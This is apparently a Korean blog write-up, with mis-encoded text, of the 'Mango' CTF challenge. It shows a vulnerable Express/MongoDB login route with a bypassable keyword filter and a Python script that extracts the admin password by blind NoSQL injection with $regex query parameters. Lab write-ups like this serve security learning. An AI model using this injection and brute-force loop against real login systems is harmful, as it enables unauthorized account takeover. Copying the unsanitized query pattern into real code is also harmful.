[2025-07-14] Mango
๐ฆฅ ๋ณธ๋ฌธ
const express = require('express');
const app = express();
const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];
filter = function(data){
const dump = JSON.stringify(data).toLowerCase();
var flag = false;
BAN.forEach(function(word){
if(dump.indexOf(word)!=-1) flag = true;
});
return flag;
}
app.get('/login', function(req, res) {
if(filter(req.query)){
res.send('filter');
return;
}
const {uid, upw} = req.query;
db.collection('user').findOne({
'uid': uid,
'upw': upw,
}, function(err, result){
if (err){
res.send('err');
}else if(result){
res.send(result['uid']);
}else{
res.send('undefined');
}
})
});
app.get('/', function(req, res) {
res.send('/login?uid=guest&upw=guest');
});
app.listen(8000, '0.0.0.0');
- ๋ฌธ์ ์ flag๋ admin์ ๋น๋ฐ๋ฒํธ์ด๋ค.
- Blind NoSQLi๋ฅผ ํตํด ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ธ๋ค
- ๋น๋ฐ๋ฒํธ๊ฐ ์ ๊ท์์ ๋ง์ผ๋ฉด admin์ด ๋ํ๋๊ณ ์๋๋ฉด undefined๊ฐ ๋ํ๋๋ค
- ์์ด๋ admin ์์ฒด๋ ํํฐ๋งํ๋ฏ๋ก dmin์ด๋ ad.in ๊ฐ์ ๋ฐฉ์์ ์ฌ์ฉํ๋ค
ํ์ด
```python
import requests, string
HOST = 'http://host3.dreamhack.games:20622'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=dmin&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
```
ํด๋น ์ฝ๋๋ก ๋ธ๋ฃจํธ ํฌ์ฑ์ ํด์ ํ๋๊ทธ๋ฅผ ์ป์ ์ ์๋ ๊ฐ๋จํ ๋ฌธ์ ์๋ค.
Leave a comment